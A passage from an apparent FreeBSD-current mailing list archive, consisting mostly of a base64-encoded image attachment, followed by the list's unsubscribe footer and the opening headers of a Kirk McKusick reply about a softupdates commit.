AAEFAv8ARVdlf8dVV9JXSuyqB9CT6hyHCG0cE8Mba7jxhwzoeIN9VVXK9XKqPApq BvGp2HgV1A3FDU7PbgAbDtG8FH0B4tqoqaAcAoaHgt4p1dwW8YnR3BGh1HAqjoeA NpKqqIlVVdldDwW7Cda7Kq5VRKuRCtVu6mwnfRU0po4bbVarVTYTwghoUOFXgAK1 U2t9KNjeAeDaqKmg2N21Rcq7wFThDS5XKu+iOg9LTQ+lAQHpqKmg9KNg9B//2gAI AQMAAQUC/wBFU/yNFRUVPR0QCA2kehApwTx2cM8Zuw73cYcM6jhN4h4NqsViom8C upKJ3HUbBwKaVRO4I6jZ78AnYNp3kIbyaemuVVXQngBHRvBdtA4A1bwXcYDRnBOg R4VNRwDqEUAqKqpoRsGg4LtgGtNlqsViAViBV6vVdt2wDeSqrmiTpFJXbcrldtA4 VU46NNC7ggKiG8lVR2u9K7Y7gAbDtuVdRsdtoreASq7hsKorVYqbyUEE70t2gKr6 QlV3049VX054p3//2gAIAQICBj8CWv8A/9oACAEDAgY/Alr/AP/aAAgBAQEGPwIx xpZyUcV+VhjW/g5ra5n4IBp/binF04qKEowXOnD2qKzsrHgHDMys2vNUU+6KB3CA pdVEmJ4ocRxrC0xmVzWScitrk6ysE6AvjXhzsHNT62ZXouusgomv8i3K6z42sx0F TQwqVGkbIUnBQtpBqbZHrZzX5o3L+eq0khv5rNeU1OyPSwf2fmqxyvXOi1dFmvO6 iwsgokHmmwsPPyWajZiE345KopR19krxZyoo4UWLlqjCUF6lVTfCFAJL7rlWOZXe 2WSB9yHNf43BwhcpHmmQuRxQ6GyFRb8EWiDg6gOS5BeVF+P9FNQBl4Wpp5rU2BRh OAhBTsAuvK7ZnG0fqoiDnD8lqxrzQwgokwUB6eCVk70eHU2l4T9y+8LV1CCip9Lc zVSoK+ZULlmJKtmp0ual1U7IWnhi2RvwQdlBwWnOChUqXS2K169PyjArNEoNFSju b03BanekUCkgYdt5wUeCKztg+i1t7mYqPVNImMUfwWClZ8QpfyVpsduH/WtDZsHz YmwnBaSIZFHb+V02jhj1R+Fs57ZWvapgtJuqgtIMQBIrnZpvXJAmwwMGukc7YLbL GOOgQbpudmtrfhNnrQcKHhiKYW+3uel3pOBWg0WpvqCDdbtJWoT0yLeaGNSFmKL8 rYcE1FphmiyqAw8AMPkgb1rwqtbfWE68f8Iu6IIzziieKtmpy7V7b+zcwPBnYI+l dvpMwsiif+wyUDRemS9E1JggoGAVUGtOp16Nmk0uNjpTbcolfpwQa6MIXLTuiUf8 brxzX17eN9maieCHRaxUVClSot2zlaXGpRFjxeJhFjvUJFOMNQN4XbS+zDBPaNge 47/YFB4rUIB57lqPFA0KA+m3bH6Rwd31fFAobrPNe5tmDsFOorwRWlgnipzJtMo8 A4G8hwah9xtCvZ3pPFI2RCiK29o7fqKjuHXuXMR3nDkAo1K1OoKqNBcFz4TY1uJA WXDHSHLsc5uVV6046pNqbJuXtjcIZgoml6G02QFePUjkFCEBZtjOPTwJSbivbb81 bYKAoPio8UFC5OztLvpb8eOc1AIN+kT87RYGingwFj3/AFGHTwdx/wBRly4QRM3o mFOMCMkxu20nc+qxjL4T5+A83ntHnwQjqRL/AFupku5upuV6e6IDyIkBaHUTmOqO DBDW6RvUj3YBNwb3Hy8FuyPlmeZtgKoOf6rhbpAiDLWtV6iKpwgJVRIqTBqcBDsq UYGGlQ/9IX34lO7NWq9T2z1XdFqix2rh9Wo4NmnPNXGNkGzJUXTes7SDMFdokoOo nNYfXUrs26CRK0bTZGphevbI9vVlZB1VC2LTA5Lug/8ABfb/ABXaA38V/keTlbBo iV7j/uFa3cGShfgmG83IHQFcu7caIJjNqemeqELAU8Z+Dpb5lNfqIDZn+iAAgxlb YrSFCzQ3b1bmJX3NOQUNx5fzPDHEeAGtmSo9SvY2v3uwsMKNME1uPDOCmxp8l6Wj yTPa/dDga7jkou9V5UAompmUR8rfUh1Pmj+iSAsi50FDaH7ip7hX3HdU3U4kRWV3 By4ZBdyELpqckeSjkjG+KrJb45JoaIxCl2qLjE58AOCjwOCoqKapwu5GwCrsEedF vDFf2jw5z8GaLgZwm1RR1CtII7re0lRNf4ODZlF0dURGKdhIfwuJWAs9urHXI9eO Xi/N5Q4D6Y5xj5XIch4//9oACAEBAwE/IWiZFq8bxEOrHzBg91wF4Y/v/CfHlqDn G4L2xr3VAidGu/M4ytW6WJaIpoP8DPML5sjisBthUt2fxAWgpbdE4IDIHaa+OZ3O f8mzD3SscPw9yUUyzn3g2JkS/bxBRbtggz54hW9mf/e8p4Wy2bxW45ddt+efsQ5/ T+fmb6lrryDffEpy0af9jz4xTFVwd0yFU0VUvU/zUq3Ydh3NQteNRxB1EKtmJrn+ MS7/ABDwHR2P4QN3eGcDD4iUMc6jHYR1w1KLXmaO7MzERpKgNV5Be8BYbFuGNfqB SavX85gB/qUWbAb4htW8PiJ5X+MSxwtxp/cpOVYzf9TSuwYftG6uo+SOz+PmL53A fdlhwb53OE1e0BafKS7ZwwdqNT3fviYcEHgK4BUvEGEK9w694Fu7n44n5RcutFO/ zDtJq/138wV0wGk4CvDOx7TGjbyjp+einxk+SDXneMb+2Zn2bLuuJrTsH6CYI2Z1 zN/dqOfzMF8JhuCL5N35nAJOf/Mw6ckoV7TfOnB3U38Qb94c5reora05mSrTm3dO vhCX7ZX8O0Bq3TtFMbyCnZllCo/qJS3XHuTI5wU/6wPlW8QpSV8PhFWg3TL8ZmLm 69/j5Ymg+68fee0af0GyVorTV592WcJs/hBmHjEoKC6o/wBaj5QVr7RmF8exAQF0 Kufg7gE9mQ4jz04L/wBlDw1/2K35DvClha49zFfMZx2uD8H4mFarx2gUOuh73EGW I04t+feXs097vMEoNSv+C+8bsSau95z9pUYHgX9wFHRrMSWrW0M/eZQr7v3zF4wN mD9piIP0Q8DA4EcDzlfYCUN4YmS3kfcxicw54Ykuew9+YmXvr+pg085/5Ny718DX yrCMwZq07+YOtcHZli97+B5halb2/qLnUuanpmXCjFO4mkr0ia3Z3IVKwzTSME9x UW7cpMuCNi/qGD5/epRmK/8AGWAFDbH7gq23xE4vjLC+RRnTvqmKsvk8OUdqhDa0 UvDcbjQoLtpmiB+6ohN6Edpj0K190cccXK4CuFQqTBz6T6/hsAOyvJqPxv2I2HF/ 3K5bTSfzyQJtnwx895sNfMvL7RpoXoe3/Yg1KnPJXgye8A+oyH7mleNT44mRODvb qvMo01qzT7SpjHMaxb3mgIpUZNTRSu3MxbD3I9ThyS11Klawj4mSbqphyhC2RQ13 2ho3pLx25fmXasjkO88nDK288HBDn3KgLcnf/PeWVaLUXJm6jg0jFZPjxGUcsKQt KJhq2L0PiCQrAXbzMeQureJn5QmhEdJ0lcQnTMzteMy0EXwlG+iXm89oQJyh4nnD T+4gNlr5Shtjny4qZ2ciYrLuwqzxHnv9X/JSabVOP5RlRdo74mzmM3gY93mCWU2r 7nscSoxidwBdRYh+w0wjNBc471ChS01LjXvK2OhgAaoPnUd9KcPJNleO5PmHTNeT xFBKFgf17x/Uf7Fude4R1n5feDWL9mUcndfgyQwNquvAA1NxVZe8WLb4qT8IdMSk RW1uHiTLQN+xhAUTHdD/ANJl0MRhqLKQIYAuZnlK3oqC2tXCKSQRXyM+L59mI6vB 3IMNyULx/wAjMK9fsoxQFqncko3Ts+8wOlq+58f3GTLjHubs9+jGOYIUSmYYxKHz N59V7OzCEqwXMe0aSl0Bygx8y9Pb8Q5dAsKG387R4GuPfwyn5VPHs/1KxXbaHM7d 2Fx4f1EGYELc53KMoB5V+YnXyo8TBAQBt1LqBj6Tdogul9niNsdrQncZViuWCGpp dXHtEXf3liy7/wAhHdp8L4hthRu2V3FzH5Dj4mY07AYlfB2mb80j/sKKl3RLG2ba z9hLy7EGN/8AzWowDmpfSP0Ydm+IbbiF8BZl87hCqlR7VU7w9b2+L3h7l4DlEe56 CCuGr+Ip/cX8nund/wDcP+yr2Zb4f811K5yWFrUuqaPG5iDuReVs/PQDm5qphO0R SyzI+1RqhRcuIYBLw25eZS/ta3uNOsnEvFsaNLsjWhSq5Yw2ujpUROoW7WnvNOVJ fjjozwV+voeV7wceIGjAt9tIjuxMqNadyD++O7wytXYB3K2MSnM5kM0l5sPlo/2W RMV+IlSgaTBrMNMu/PV/eitPt0dTF8n6psJRLolWaD3PDLBa/cI1Ny+2O5aQywsp ym2ZSute18d53te79nExAD4ARTfCgeZlLRZf5AYH4Alkapn26pTUqCb1dP8A0bGC 1fCG2j5yoZgjl6H3++4qryjD85mJaP1MQAS+xNRRN1exicLQOQeHcsFwy/5yxh+B 8ov4iUHzUYpgQtX7fuFxMMtbj9k99CnbfPTx1/ciXAoU6jqnC3OSYlWJtwrj3JEY 717DfQrmYA24CEVvPv3RReoi8ajrqYEbH9xy4Cp8wAXw4mNNUhLUG8B081H3VTXM /CE0m/aA+zA0g8r28QTHMvJ7v+Oqpuc/qK+w4hDEoLKl6bX2l9bfEDFXOeDv09s1 7D/sUFC2aijKWykHt/7AbZ5gf0H46fEixwdJHLZt4l+P05dk8o7lS8Tj9wgXSEDA ZuEDe7u+/t0LjVveywYMw6IjUszM41L5cOuZNeYzhc4lYMELdctX8We0LNYNoDR7 Ebu0f/ZqtfXd7RrWLoYukthE2+6XATSdfMwwdVbX5JX0zfD/ANQi+gvL6BgyymP6 5+OpALWglkdv4IR8QsKxG9M+Y8P+ylOmGAAvt3/5Kel/0meT3GzAaw4rjFQ7L3jS rzimECjtpRD5im1OOJ/RQi9DzpZ+JXAO43EMy6WhVoNssDG/gdTZ2F0Clwggtdkq W7Q+4zYgD0KSN+Y8HtC1K3KLTsduxAtXOxUexL8jm5ijiks3S290wUbNkvfe95cd jXW1TvKpiCHfb7k1w7/jtMX5/b8zQD5Y+2upV7aCG42GPHgiPyAgKmQ7xSuKy9ZS hY4QtfrBBMNnYuZnT7VDql5H6gNQNQo7V08PM+ZH3+iYP9AT3JBFrN+TFPLIXb2v xBcc1ibbvmZoovI8ypQzusbmtZtwB/cddXZD/swaHjFDno79TcrP4D6BocIgFZXP eYio40cOx5ZbqoDELvE+5GU9v8E2mB5cuWaYr24iA0o81AVY9kpFd9gSkoWPY8a6 m594r14QX7Q6zPKfoi7GHPeoobJXusepote0Oxt+9l/cRVdD5uWW8UzGDUxO8uP4 ztOEvYwfiWlYvdAJILtWVKvb7epslnvD6d3+8zT+CHUUoHuQ8J2IqzhfqCxwP1KL pm+cSoG3B9sRhtU/fULI7m3WZi2Hxl/MtD7yv0C7pXLkwcHXR7x3wuppE/E7a95v P2nkndnGagX0RJgzeL7Rre04CeDLec2vstuBBnZ+JhjhPvn6Wj3l5PynawmjonQA Rgbx0vFS+EFVw1GdbW4/ogy2ElhV7ri4gpa2v0tHv0AkJ/CVJU+J5JyrRLT2Mg7A bsvtKmKsp3zf+dH0a39DR7wT7zSOEQEPOZZi5z3hJh78R0zC8B7fJKABQtPZMfv0 kMTY25PXo94b+I6nynzjzuZHH4P99HsQ/Bht/Bj0nQ/j+cTdr49Wr3n/2gAIAQID AT8h/wDwlei+l9F//Ff0D/4HovUH1X9S5lFjFy5cPQL6j9JZbDEvo+gYPVIMGvoP RQRelVGV6L9BLlxetepfpPq945zCFx9Avov6RmpUOz6yx1uX6K9B6L0eldRp1T6G HoWQK6VKiSuPQ26EWaeu+qrlHqH0Df0Vs1L6jq/QUQesFhRLuMJv1n1X6QIiM5PU RjxB01+iM+lYemugj01+ier0D0PpA6P0nowOo6CL63qK36Bz1YEtjaMYZtcOpipm PH0R9BVDEvppHpGLOlcrrXQcOtnoWXNwcxlED0p9FR6gHou9L0uEegPQYmv0VqEP U61LZSUPqli36H1j9Xdy476HWpUIrKSvS39KDqrh1qJLOkPSejeXKRlb6y0FMTBN fp3L+gHULlf/ACgB67+tUJOlR/8ApH6B6//aAAgBAwMBPyH/APCa6KlSpX/80vDp v/xlksgSpUqJ6Gur9IL6Jz0PSkETpcqP0hzFgdLl9b6V6JiVE+kDqPSdB1IRIGfS dCDrUa616DH0n0nQZ9NR6X6H0D01KgnrPXqHVi4h10SzpcuX6WnWpv0GMSHW/RpL PUvQ09BjoPXVNyup6noHosi7763Ll9AhtzKqEWa9BHofTqYKE4Oi9L6PTfq2h66j o6HXki+tQ6b/AEXnqb6XEzHoegi9B6XodFb03growMeoIQHQ0fQePQUomEDDOVxK Y9CAlw2/RXUlHqp6ATBdpR0AhaXLly4jqFyj0EOpftB6UM1ncfQLpVF6hKo+g6EW X0B0oGbfRsj0L6MDpcri4mX9SFwKh1PoUv6cJQSpxK6OOly4xaXH0zj0jYHnqsej LlXqMFeg4goOEAPUyiKybMWf/kWU6Vxy/wDlW3r0+ukj0sPWl/8AwmHpIdN/X//a AAwDAQACEQMRAAAQJINmG2XDhmJTgTlct4/w1KM6dPGLLJ+fHltHXj41dZ//AFE7 fGDE8j2W3jfYp8JZMEX/AKvAhDLdKNvIdZLDSAAfVjm+ELQaOXgANdF+3j+Wxuh0 AakM64vt6M0FQWZTlbrq1YAGGh2XTjbtBlGELV/TQ8FbnHrXKF6ROEMPLbqHaTTG Zfy1F85CLHNAK7AW0Tssj9nCsS6So9t1YPaJsAbSNTlnuyHxTW/kZZnPPCRwTosy hfmOQWO4DcCewYjywHg+TcbiAhPfRbABpu1u5EKlv5IC8zWsy1Ji8iYAdDtwpO12 7LgMZN5RWkt8D7VAKpIqErQYAAAAbsWdwKMSQAAALZ7aTohASgACbQjGUe5wCAAA 6UCCT8APAD3biqTwiAAAAAADzXmP/gAAAADKncIzWAAgAAAPIZmAygBIAAAA6ZcA VAALPAACf//aAAgBAQMBPxBA1mGC1S3nmD4BMeD5gIvAOacn2jAWnhwGY1OjiUUC 8DbhffXEZNMaS/ffxGjpPIALjvLlarB/P9l8cMnDK38RFBLSynHMRPIPKsDjiAWZ cP34IoBlChSNlFHhGDUC0NhqDFDTG3toyVqhkZX2Rw5CtPMVyjWeKVf54lKurfZL KFdl+FzAe14IyLLAqrHbxeB3L9TBhjLf5JVG1x7sX5ZhnWyt03ujxHRRdrDjPEVt MjbatWg8McSrJcJ3rcoQjZbRjN+0utZUlKDXHY6DtKBBPL5zffsjouVWI785lDln BkOCneFTWraZQq6RlX7RVpg/GZRvYtnIL8Rew5DlQY5lwgFMM2YlviEiwt5Qpkmy nkYVA0tIRcVbmlz7R6IJEzXCWbYiC91Wm9H+2G+kxaYBoGpgJxyMTiLvdatv+iOV TdXe9ajmda8/41L6WKHYxIW+iVbsRT7yylk7d7hoAFKDhXvCEMg8fqJLh1bqzEwP YHm3x3alpEfxDmz7hmwZKDWc58OZmGQ+XtBoAyHLYB7VFlV1sdd1VGpYsCnHlCFV FVQqfKLqyoIY2cNw3U8yhpz7ysRRa1jxv+o5HQ5EsUNHUVlXALOxkut6IV9A/hcC m91jv8QFy1SZGtQ4Bw17jmVSGxqKWJRqUjbtSL7H/sCRDBg8FveELHRQkdzG4D5u TtGuaFi3Zx/cJUtFK8m2jZBBQ4N5bZGfzNQAcO5efGWBGKB3Ag77ywgmJCtJQPsX f6hhuSyuBI7uA6yZH93At6CYDwub9pRU2KF47eIyGrRX+G4Nsq74c6+7KqKB3LN0 B7ShpXk4IugGlzYAfBBmFSpFA3XALYBWALHIvBuMig4mp2phZVpul9yNRcgt5fBS /gi+1ctGvDxHSQprY8+xCMeRL3wqj5hojltVjt7ERYEA04PGKlLWGLd4K7PvLBmp Gywp7bKl00CmnRfGe0IQZbs2Af1UFViFksDXmph7TCOIW0yteguzPtGkbAPg7IhC zR6RVCAKR0G/JlbnBjRaB/cAnnMVZHiUMuO9H4MxeWqxGidc3LOQKpWOXPPsjFhs IOaMRwl5JTqEMBnSqeTLKIVghuV59ntHVwWCV7/+zzAQECdjz92Ji0WKcO38cRaw Xk7jmUqwLe8tW8HxKxtpVZteIigoAQPySkhcG/lv2lx2+Tk7/wBRrtpSEbtzhV0S gEoavc5+8KaVOF8MRAXMHxHwLmVBZ3XDNHzH/iE2s78K+HF+IO0uLsor+8Ssvwb+ VmIbYai+SvdmssZUysxoNLQ2c3FzVocBbiAKzGHO/fURUGrAvNZfaN33WEGFb/1A BYrs2n5itFhN68KlRcynK27Rl+Zw5uz8y9pbz4KxRBV8mZVFBHgG638x4SCwYo/7 lz1tSlZMn4lx95+dknfzLIAGldCXV+G0mBzMGSmWvaojFacGsAdks4XUq93P+IbF js/EhfYPiV9AJCkMV5GtWxhUqBfaNV8Sr1e4tr7sR4o0LNKtZu+5ZQEu+y1veosQ AwdxZnvm+ZYN8Ru1bFqHuwTxNehzGYE4BukzGNN17ELZVDH24ICzE+IEVCUmacsd o+Xu1mrw/CVCaA26c7d+WYS8Uo8cKIMjVW7V7wNloodq/wAuAsqLDyseR3wx6qVK K2gGfggPodLdIvmECcNFQq+M4jYIDbZiiNAQ0exG7lUorntFVlXKOVo8wiuJYhYl 5s5+IOQHOyzPI9ooC7GlyvQqNaXrT7d/MfI7RFAD8S0AsHICbH27wpb4r3w/uIal AHgqsELsGlgQKdrP2RFRGFtZfw8EG07o1xgZQRkaqvTXblF2miOUhdKB4ahqGitt MIL5lGBVTlN6+I5amgvEulkMDlVCu70cqWABy7hBXea+Ial9VLd95U7zk8xCADPV MdWCbUUecRuCDgoccjDa15AyX/2N0Fp/UtS4DzFSqO8hPviI/Ix5awC4K3Xeai4j ZeGyVbc6F+fHmKp2rRoZDNdhMlzHCA9knJLCxtS3Y6LjSzWJrzBOFIBxV2Hu1cKo gvhxOYYWzPvMZgEq0Srf8EvrFV9y5jWY+6sNYcEqAC078XNaPhW+Pcw2iAVgxDE9 gfyDdd2HhMNBEe1TJVThL5lBKjITjtEU51uWhDZgXUVOVmCjc1zUA26O9d5YwK2b dX2/UKXoCVVZqn9kr6ETlG/mUsgyhsGS98SgWlSrttbvu5iaqAtSrp18QZ23j2qI VS+XgMaTzwjHOqggQdmjaPMfeN4bDyVeIoq7Jd8e0OgBS6rcvYJbiyJ4qfYHzA1f A7wlw2DF1xNltA2aGnY9zEq7Yttw8L4lLEMa+ZrKS3dqQcIlQV9VArNrs+IgEgBG HC3cVpc/zzBLO33mFzZihby+QhylXzhX5OYzSTyreKcmkymrW7umqB7694DE3ocG XPOII5W1JrwLgIVlw3YzEqwI1dix+WoNktFgVI8h4h8mI5V3aqYk8YgDdhqrd28Q o0vEACF1xqZ1goUW5PMJsOQghRxTb3I2s8AtWWu9URqzubCXGUaykr9mAFq2Jabw AZgknsS83ErwXppfxK+xoFaMxUgr8RdC95m3IFrJQGBEKTiVVsPIx7rYIB1NTgLE CqAo8pLa+LNiG014q4JyGqyrFj8RFgszlgye3s3OGrW9WUq1ZcQWu5x4mx5hCPRR KwpniAEWNLwlHZLENqjT2HJAqGo2azfzKQ0VCsSkv2hljMQW8QWPmIKm7bBdj8tS rwOQ4hhE3N0A8wGSnvGkanF122d9n2lSXgTtaf7W7wCIFqK5flM+Z2dNXfLDN0sE IAkV5L+zFFlgoC3XBTupYTMw6Csff7R2m1cvF8vzCOCrpf3mO1grEuAlSzoDNywI ClIKmBx5gDgEu3EsikeJV5mS8ZWVrSRmlbxuZhcdhqNn2/yNWDXHs0nzMKbvTWIx 1REG7qx71UFhMoMid08MQwIW3ne/tHDtfq6CjuIPv7y8q0eXZ/yYMa2BXu5uY+XK yxd333M/qyEHxygw1uU692DS7ctBHy2nsDa1AYLf0MDY3zESUi9F5pXknyFmkEUv zL7kpWinjfeVsulnsiKwdDA+8qIyIDAoUjuqlPFiTdpcPDGYkLTe4Xgc13lGiKl+ K3A4mAvOcR+L2dHnDBMbiPuR9Xl07u4y3ht7Dj5igQeNaHHYbhEVFyuw+Va9uoQR b4O5cFgUIIEbAboBZitdjt8RCuRfEslrNYjVatbkeEgkbinNjn+zxGjnuTFK9hF6 /wBQSnaA1QEqRRLHCDTiX16K3I7MOhbRHznGB+yVA9UOhxj2jrZPAHY6Dc8d4xTh 7dBRE2ZGbKW6Bhv71N62z4KbRHaeZgLLrwmftjK8sFdhWsaJ5YKZQmsLdWZRIVBf hxBBvj8/9yYYDuTD8hw8R6LLqAncmqCc0Ffqc+SajTmkviictTGG8BQd4vefblzF QtaxTbzqXo7KbTsV7ExwY5Ol531A9hftAMbEQ94uXywWjxGauATtRJaKbICDw5lK bEikmMsUIXCdiEuM8kt4VrEoB4DX6leQRtLXeVqRnzAGm4Wq75GeG47CULZ8BQ8r GRdMVeoCKwuG4ePxLu7g3nFB29iXOxrZRgJSlrB7ribtlOMb1HTs3OUEtrvWZsKB 5yNdEMLwHsE+0UUixyHOX3I1fFM4tJpPEKPO4o+wqKoI5067f6QzEDdjASSxihS6 INR7K2xNvDvA/Eo+JoWOEKHswELzlbdFwAqJV52r2CiIoi+XmOQ3WHAXn3lLw35j Ku8H2j0P8qLKVSlzkT+0A5BXFLz+4CxlIOdqIQXEpwWNvjoawtD7UF/qL+iCflSs ixbI4Diuu8sZOxlS37xw4SzA9/bxM2wE5c33RKrWS8f3M0AMW55DiBk5TzzfDiYx bOXu7j0FwsvfiZW85l/fv0qCBQLybFkeh7pa/wCS4m5TjbAMBQ1jR4jEUWLaXk89 L8MMHsAfi5UFveJVKPdPHzC6apq9ksKL3BGKYDGS/Hbl5lFzGACiMlZH7lX2HQ3O wCx72qa8owDgI59AHl7xYx1MGulSzWUWtmKbOnmDsbYfMty9tOC3SxjIN7p/MqHt KVXXESVeTfzFxVl3PYd5RgGWxvAnlC6e5hcAUZewcwVy1KwgMB8Og0JeA9oLBVvs i/5HjaS/f4lpJDSsbNSygOo6rCe02c+ZarrHecBjzzEKVl2uDxALnUcjyx+FqyMK LYHmNCUsqOCc6OqlLgLXR5g/AMpznX5alnMCq35gxf4gvzUyart5mmb7w2X7yqn3 d7b2LYFFdALLZqnEYMFCjLf93CIMe/2fPeBMAiNWQZeeY9UC2+IUIKgqtprJg/tG j5B4A5H2mZWaDqzzCiyg2HjvCihw7IB0ry7x9o7MGcc62cHmojtDr2NaKmZTxGyw +aEa71zcCcwV2uOJSy7irc3zDg7IbLfbtMsR0nYoPt+3VOT6zFYe9psD/sqrPsg1 7PCS1rFKopQMHeNBm03Bag4the8d0HxLyl07Zx2gfVIfE17QZUttdV0NZiThIS3t RriCD3BS/cJjabFg6azTHVTIYQ9hxmHcA8r9hC1143zLX8Qsy5pD5qCbleVQMZUN aNAHdYKGaxOXamH3mufDtbg+DHR/qK3lgggs814JUlf4PExh5oRdgIaNxeRHFSmF IKS6PDveViOzAv8AfGGWrspKcKBMqnMR2kKYdKZtjkM29GoYVNGJtTAFqbP41DS0 lj5g4qmTSn+xH9svhrqVH9MX4lEF8v0lP2iD7mNQEj3sf1D8RVVzdqH2Nfh1eAVB vMO9RDgv8FleOLX7lg8mX3m4ypxBi2EbJc1y9peW8ob+7xBAzCgxNeXzHkAtuYmb UuKWqdwCacqFp8BnKG8wKC8vQnWg1rtzOzDT7ZfRz1tp8pgZBU1byAa1dqxG5KdQ 4QMPd5xxBIwqCY+VU+5gNeC6l/8AIy7EMBCsvLDCqLCQ2kaMpp0HWC8pSSfRg+Uf ymEMNIQherqWqsK3w66PchGaze6r6DtUUH7fErdGK3/gcQEhIYgvN/5kJVY4dggO HaChzNd6szAOX37r/UA9i6A23xD2s5330RRgNcxQWp4uo2gDKCvzUpIGxXV96iuo cp/KTEoZbql0TDS99GaPciLVpp9y/wCvUKFd43beqF7wTFeBxB/RExB+zsfMKimt lU88yxdM4AC6+aiEcCnnXBTaBF6/pqg22Gz+CAMpZLsAUrcOzujCHk5/Msi8bvzf ZGwL2f8AeGfQBtLnCwxZLWVgeO/X84/ctGs2nzX9+lIEDyKPzEiqfyzEU3zWNme8 OCq4bSz/ACC9l5XhVDg7jzCaJUHxb9IaqQnInJ9otKyu94X+o3VIIUKGu8FUTk/k /wARG/cj7L16AUsCPaIApx2zr8Gn7lHCxBS7JRZ7VKVVVvKiorTwK/czVW2At/Mw xUo3AUrHGNTvHmU91qcc0PcuCYaMx9iWosK7OtvYgCQlDusPGZnk4F01XX3hhmG/ eyPz9L8F+4huO+UTvE0TikOYRVkuzxbNGMamWYRjP7lTDRB+ll32qUFb5KCRTjUe dVK1d8W9oCjWBwW6wxKtgXkCquIQbarVeVfpfgv3KnBg5Obj1tYx81AbzrNSg3Gk mTtGwGOT4gmKW9pjaB3Yeqs7ge7LwaDTwXgYNx1ISLrEqDk5QIrbqvB6C1TfiN3n fr/HfuZBW23tGtzNccxy3O2OC/b22QVDyi25NvBEkEWN2ffiLuV58/L0snt8hs5f sZjq++e0sCBp9AuPFN8nEEUYC83r/BfufqS1N8du0tfs8S9H61L/APjXzPYj/sjl 9/nrvPtcvx+7mfx16+ocy9N3nW/n9pT3jy9X4bfvP//aAAgBAgMBPxC4PofpnR9D 0fU9Hoeoh0YR9R6Ho/RIxh6X/wCE6MPSwfQ+k9Y9H0kYfRJcuIdF5bBwisG4suGu j6X03GNIt+tVCn0MIdWPVYxdBIhloL6RqFjpcejDqdLjSVUEjxXQdBZ0vqtJYetl 9KCI4a+Y3YnrQPSjJLfeIoN9Xq9WKu8pzLpVxe0HQEqah6Lgbg+fV11FhOZZ0MMM k5SX0uMHoEY+EqKSrczWEergxZey5cWFNS8y5cYvR5hroUbIcOIcI/YYS5cGK2Eq hZfQ9FS5aokeljAmGGSGyVG5DoDtExtxGc8R4jHUJXU7zGhZGJEVErV0ZKTkjR7G KzruhB0cx1SDHoQGpeYNYgCjqPXFfad3fqrWEuDGBErokN9KldIAMdN3HRFZ1GJg dVt6X0sSnJqLBhK6e81ES0RSriPiCiIdQxUQeiojjoweguJZMSoDvBRTdRVqXtpU CECovQqxMSFXR04zXQly5fSy3bozRKvLDMEHoW4UiS2oMdFpCVHrcrpQX10gYjNs HEOqurBL6ZghL9JblQUHR0R3DE7mJWwl+haIgQN9Lh9Cy5fSzq0hbljGpXI9XEzI uAMA301isSk6lCjHqnQhMd9VOZdg1CDCxTMioBZlhsjVCYrg1EM1LOekV36BpuBK 6KjOIKK6KBbH9nQlSiLiIuI4iRlg+FidRLm8ag2dUO4PGJfvAcsBo6qG5a8S/Qrl hCh7wYgIO0uW9LERWPomLZbdm4M0RKmuhelJ7KHvRzAl+h4+gAWxlbHUqiIvoJA6 W1udxmV+hZfVcUIi8dCuLuLMd+gbmAcTxRIai9C9LaM7EstsUwQ6EYDpg8wDXoTE Feh4RJzEZ2eiLKgdCEbSYiWyNfTYy3SpUCVL6yrqoFHTBqmB9MhCEOoRX2mEbnPq 2+iHSoHQhmEdKGb+ljmDW/oG+pCfD0b+q9HU19f/2gAIAQMDAT8Q61K9Z6GPQ9BH 0P0Q6HR6kep0Oj0PoHoY/QPqHproeolf/Cw9R6T11AdFZXoZpldDow6X9CoSulep L6bj0Ix6V6Q6B0aFJSOelLidTodQ6B0C4JbiL7IKU6GLZVE6klXBT6DqQL6OqIGm 4L51Ko6B9GLo0dDgxrniCyJ0uHUgQmR7JdjoEqsIuLCNxkZ6p9kba6xVR6kCEDeJ XKhFGF1cqyMCCJ02EFYdQViWzAKjfoPQW1KSHR7IEZJh10YCHSwm3RWUxz7xeYOT cZXSpp0uggQLlJG0ASmb1L61kXpcy4S6a6LTOQXeUOYOjcGWVBEUtNy+3SxYljTA hCFssdDGMGFQbLm3XV0YUmLhCqCWRJuXcTFRsw4iQxmM7elR65qmldTh1SDbpjqK 8MHGY4Yt9GLKWoqs9KUQ2wU9d5k9RR0IwBUfUAlx6zLAM5YBtACCsssZb0VEhtg6 C0JvoHSutxYrgm8YEq8QXuVYR6DG0CaQLIIbddBZ6KldKldWB79NptqDURVQovXU W5couLPQ7dBgxgxlypdTt0OguYkxKIGem3oEQ9MC9K9IVFqWD0NxvE24ixiE5R3K auXKhLGoLMXSgOtyonWtddpwmYJzuHDGNQjOVrsirxLa6VuAzuM1kISul9GLL2uo VxN7mMqOVkCswzO5EZuWvZBG2IUNw3OPJ4TkQNI9SySLbfRFRBPmMe0YbYCLUE3F tKohuqhd4iDZufw+4Ka6jUFvMt2iIjvqjqUa5gqVXRYaJSsB9png4nliijPTxgwU /oo8QjXETVsLMd9HIy4KLhuKjDfpHI/QdUQhRAXFtlVO6bYsE6DBbixLDfoOB9au odXMaEqowggVDiMYztRTmX7xqRZr0ZPp46G2uAGoUSyNi5jIO0mBFxV9AslL0WIi NDF+IBtmkOq9GDMGMxFUrvpqjHpcWXK6xRcW2ZMRT9W4xWXF6LBI66voL2Po31ei 9IZ8dBNPSEGtTeN8/QejGM+fo1+gOZu16mf/2f8= --sruoutjdercldigl-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 18:57:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from beastie.mckusick.com (beastie.mckusick.com [209.31.233.184]) by hub.freebsd.org (Postfix) with ESMTP id A080C37BD74; Sat, 24 Jun 2000 18:56:33 -0700 (PDT) (envelope-from mckusick@mckusick.com) Received: from beastie.mckusick.com (localhost [127.0.0.1]) by beastie.mckusick.com (8.9.3/8.9.3) with ESMTP id MAA04365; Sat, 24 Jun 2000 12:00:26 -0700 (PDT) (envelope-from mckusick@beastie.mckusick.com) Message-Id: <200006241900.MAA04365@beastie.mckusick.com> To: Adrian Chadd Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c Cc: Stefan Esser , freebsd-current@freebsd.org In-Reply-To: Your message of "Thu, 22 Jun 2000 11:54:26 +0200." <20000622115426.H29036@zoe.bastard.co.uk> Date: Sat, 24 Jun 2000 12:00:26 -0700 From: Kirk McKusick Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Date: Thu, 22 Jun 2000 11:54:26 +0200 From: Adrian Chadd To: mckusick@mckusick.com Cc: freebsd-current@freebsd.org Subject: 